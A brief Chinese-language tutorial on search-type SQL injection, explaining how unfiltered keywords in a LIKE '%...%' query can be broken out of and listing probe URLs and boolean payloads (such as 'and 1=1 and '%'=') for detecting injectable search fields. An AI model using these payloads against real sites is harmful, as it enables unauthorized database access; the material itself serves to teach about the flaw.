搜索型注入原理
语句如下:SELECT*from database.table where users like ‘%要查询的关键字%’。这里“%”匹配任何字符,“like”的意思就是像。比如我们在搜索框输入关键字“李”,那么SQL语句就变成了SELECT * from database.table where users like ‘%李%’,意思就是查询users列里的带有关键字“李”的数据。
如果我们在输入关键字的时候不是输入的关键字“李”,而是精心构造的SQL语句,并且对于输入的关键字也没有过滤,那么注入就形成了。
例如我们在搜索框输入 李%‘and’1’=‘1’ and%’=’
SELECT * from table where users like’%李%‘and’1’=‘1’and’%’=’%’
搜索型注入语句构造
判断是否有注入漏洞
Url 地址中输入 www.xxx.com/abc.php?users= 1‘ 报错,说明很有可能存在注入漏洞
Url 地址中输入 www.xxx.com/abc.php?users= 1% 报错,说明特别可能存在注入漏洞
Url 地址中输入 www.xxx.com/abc.php?users= 1% ‘and 1=1 and ‘%’=’ 正确
Url 地址中输入 www.xxx.com/abc.php?users= 1% ‘and 1=2 and ‘%’=’ 错误
根据上面两条语句判断是否存在搜索型注入。
以下几种语句都可以
‘and 1=1 and ‘%’=’
%’ and 1=1–’
%’ and 1=1 and ‘%’=’